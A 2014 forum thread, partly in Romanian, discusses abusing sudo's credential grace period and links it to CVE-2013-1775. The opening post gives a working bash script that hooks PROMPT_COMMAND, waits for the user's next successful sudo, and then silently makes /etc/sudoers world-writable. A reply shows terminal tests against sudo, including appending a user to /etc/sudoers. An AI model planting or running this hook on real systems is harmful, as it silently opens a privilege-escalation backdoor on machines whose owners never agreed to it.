Aerosol Posted December 1, 2014 Report Posted December 1, 2014 (edited) What is sudo's grace period?When a user first call sudo to launch some commands as root he will be askedfor his own password.But if the user calls sudo again in the following 5 minutes, he won't be askedfor the same password.That's because the password is cached in memory for a period of time calledthe « grace period ».This grace period mechanism is activated by default on every systems I knowwhere sudo can be found (Linux distros, OSX, BSDs…)Here is the exploit code (sudo_grace_period_exploit.sh) :function bash_history {if [ $? -ne 1 ] # previous command was successfullthenif [ -z "${PWNED+xxx}" ] # this test is used to check if the system was already pwnedthenhistory 1 | grep -q -E '^[[:space:]]*[0-9]+ sudo 'if [ $? -eq 0 ] # previous command is a sudo onethensudo chmod 777 /etc/sudoers 2> /dev/nullPWNED="yes"unset PROMPT_COMMAND 2> /dev/nullfififi}PROMPT_COMMAND=bash_historyFor More : http://dl.packetstormsecurity.net/1411-exploits/exploiting_sudo_grace_period.pdfDupa mine este foarte interesata treaba. Sacrificati din timpul vostru 5 minute, merita! Edited December 1, 2014 by Aerosol Quote
aelius Posted December 1, 2014 Report Posted December 1, 2014 Este vorba de CVE-2013-1775 doar ca e cam prost explicata in acel PDF. Vulnerabilitatea este din 2013.Adaug userul marian in sudoers si verific daca este ok:root@hp:~# echo "marian ALL=(ALL:ALL) ALL" >> /etc/sudoersroot@hp:~# grep marian /etc/sudoersmarian ALL=(ALL:ALL) ALLIncerc intr-un terminal:marian@hp:~$ sudo su -[sudo] password for marian:root@hp:~#La cateva secunde, incerc in al II-lea terminal. Se pare ca-mi cere iar parola.marian@hp:~$ sudo su -[sudo] password for marian:Functioneaza pe versiunile 1.6.0 - 1.7.10Mai multe detalii aici:- Authentication bypass when clock is reset- CVE - CVE-2013-1775  Quote
Aerosol Posted December 1, 2014 Author Report Posted December 1, 2014 @aelius multumesc pentru completare, hm eu am vazut ca e postat pe 20 nov 2014 pe Packet Stormam dat search pe forum si nu am gasit nimic si am zis ca mna... Quote